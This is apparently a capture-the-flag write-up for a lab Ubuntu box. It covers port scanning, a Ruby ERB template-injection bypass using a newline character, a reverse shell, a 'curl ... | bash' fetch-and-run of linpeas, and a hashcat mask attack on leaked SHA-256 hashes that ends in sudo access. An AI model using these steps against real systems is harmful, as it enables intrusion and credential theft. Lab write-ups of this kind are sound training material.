This in an Ubuntu 22.04 machine running a web site vulnerable to SSTI, which is exploited to get a shell in the system. Regarding escalation, there is a hash in the file system that, after cracking, allows us to get a password for a sudoer user.
> nmap $target -p- --min-rate=5000 -Pn --open --reason
Starting Nmap 7.93 ( https://nmap.org ) at 2024-03-02 15:20 EST
Nmap scan report for 10.10.11.253
Host is up, received user-set (0.088s latency).
Not shown: 62834 closed tcp ports (conn-refused), 2699 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack
80/tcp open http syn-ack
Nmap done: 1 IP address (1 host up) scanned in 16.00 seconds
Enumerate the open ports.
> nmap $target -p22,80 -sV -sC -Pn -vv -n
Starting Nmap 7.93 ( https://nmap.org ) at 2024-03-02 15:21 EST
Nmap scan report for 10.10.11.253
Host is up, received user-set (0.086s latency).
Scanned at 2024-03-02 15:21:38 EST for 24s
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 80e479e85928df952dad574a4604ea70 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBMz41H9QQUPCXN7lJsU+fbjZ/vR4Ho/eacq8LnS89xLx4vsJvjUJCcZgMYAmhHLXIGKnVv16ipqPaDom5cK9tig=
| 256 e9ea0c1d8613ed95a9d00bc822e4cfe9 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBqNwnyqGqYHNSIjQnv7hRU0UC9Q4oB4g9Pfzuj2qcG4
80/tcp open http syn-ack nginx
|_http-title: Weighted Grade Calculator
| http-methods:
|_ Supported Methods: GET HEAD
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Nmap done: 1 IP address (1 host up) scanned in 25.31 seconds
Enumerate the web site with Firefox. It is a web tool to calculate weighted grades.
Enter any input to enumerate how the site works, just bear in mind weights must add up to 100. Capture with Burpsuite and inspect the response.
It seems the web site is made with WEBrick 1.7.0, which in turn relies on Ruby 3.0.2.
This is everything we need to know to begin exploitation.
USER
Investigating about WEBrick and Ruby I found these web sites:
According to them, there are 3 Ruby templates: ERB, HAML and Slim, of which ERB seems to be the more common because is the one installed by default. Looking for Ruby ERB SSTI payloads I found these references:
Let's start with the simplest payload which seems to be <%= 7*7 %>. If you enter it in the "Category" column field, a "Malicious input blocked" is reported, meaning an input filter must be in place.
Testing the application we find out it filters non-alphanumeric characters, and turns out the filter can be bypassed adding a %0A (newline) before the payload.
This time the application outputs value "49", so the SSTI vulnerability is confirmed. Start a listener and refer to HackTricks or PayloadsAllTheThings to prepare a reverse shell payload. Remember to URL-encode it before sending.
For example, this payload was confirmed to be working.
A reverse shell for user susan is received on port 1919.
Which can be used to retrieve the user flag.
ROOT
Start from the low-priv reverse shell for user susan. Bearing in mind this is an "easy" box, we assume linpeas.sh will surely help to automatically discover a flaw.
Run it and inspect the results.
> curl http://10.10.xxx.xxx/linpeas.sh | bash
Some interesting facts are revealed. First, cron jobs and Ruby scripts are found in Susan's home.
╔══════════╣ Cron jobs
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#scheduled-cron-jobs
/usr/bin/crontab
@reboot cd /home/susan/ruby_app && /usr/bin/ruby /home/susan/ruby_app/main.rb
Next, it seems Susan is a sudoer.
╔══════════╣ My user
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#users
uid=1001(susan) gid=1001(susan) groups=1001(susan),27(sudo)
Also, a cloud credentials file is found in her home directory.
And finally, the tool reveals Susan has received emails.
╔══════════╣ Mails (limit 50)
39937 4 -rw-r----- 1 root susan 625 May 14 2023 /var/mail/susan
39937 4 -rw-r----- 1 root susan 625 May 14 2023 /var/spool/mail/susan
We could try to exploit the fact susan is a sudoer, but for this we would need to know her clear text password. Let's look for the password in the credentials file.
> strings /home/susan/Migration/pupilpath_credentials.db
SQLite format 3
tableusersusers
CREATE TABLE users (
id INTEGER PRIMARY KEY,
name TEXT,
password TEXT
Stephen Locke154a38b253b4e08cba818ff65eb4413f20518655950b9a39964c18d7737d9bb8S
David Lawrenceff7aedd2f4512ee1848a3e18f86c4450c1c76f5c6e27cd8b0dc05557b344b87aP
Harry Tylerd33a689526d49d32a01986ef5a1a3d2afc0aaee48978f06139779904af7a6393O
Tina Smithdd560928c97354e3c22972554c81901b74ad1b35f726a11654b78cd6fd8cec57Q
Susan Millerabeb6f8eb5722b8ca3b45f6f72a0cf17c7028d62a15a30199347d9d74f39023f
There is a hash for Susan Miller which looks like SHA-256.
> cat /var/mail/susan
Due to our transition to Jupiter Grades because of the PupilPath data breach, I thought we should also migrate our credentials ('our' including the other students in our class) to the new platform. I also suggest a new password specification, to make things easier for everyone. The password format is:
{firstname}_{firstname backwards}_{randomly generated integer between 1 and 1,000,000,000}
Note that all letters of the first name should be convered into lowercase.
Please hit me with updates on the migration when you can. I am currently registering our university with the platform.
- Tina, your delightful student
So we have found the password creation pattern. since we also have the password hash, we are in a position to launch a Hashcat mask attack.
> hashcat -m 1400 hash.txt -a 3 -d 1 susan_nasus_?d?d?d?d?d?d?d?d?d
This returns Susan's password, which we can use to connect to the host via SSH.
From the SSH shell, take the opportunity to enumerate the system.
> uname -a && cat /etc/os-release
Linux perfection 5.15.0-97-generic #107-Ubuntu SMP Wed Feb 7 13:26:48 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
PRETTY_NAME="Ubuntu 22.04.4 LTS"
NAME="Ubuntu"
VERSION_ID="22.04"
VERSION="22.04.4 LTS (Jammy Jellyfish)"
VERSION_CODENAME=jammy
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=jammy
Now that we have Susan's password we can enumerate her sudo configuration.
> sudo -l
[sudo] password for susan:
Matching Defaults entries for susan on perfection:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User susan may run the following commands on perfection:
(ALL : ALL) ALL
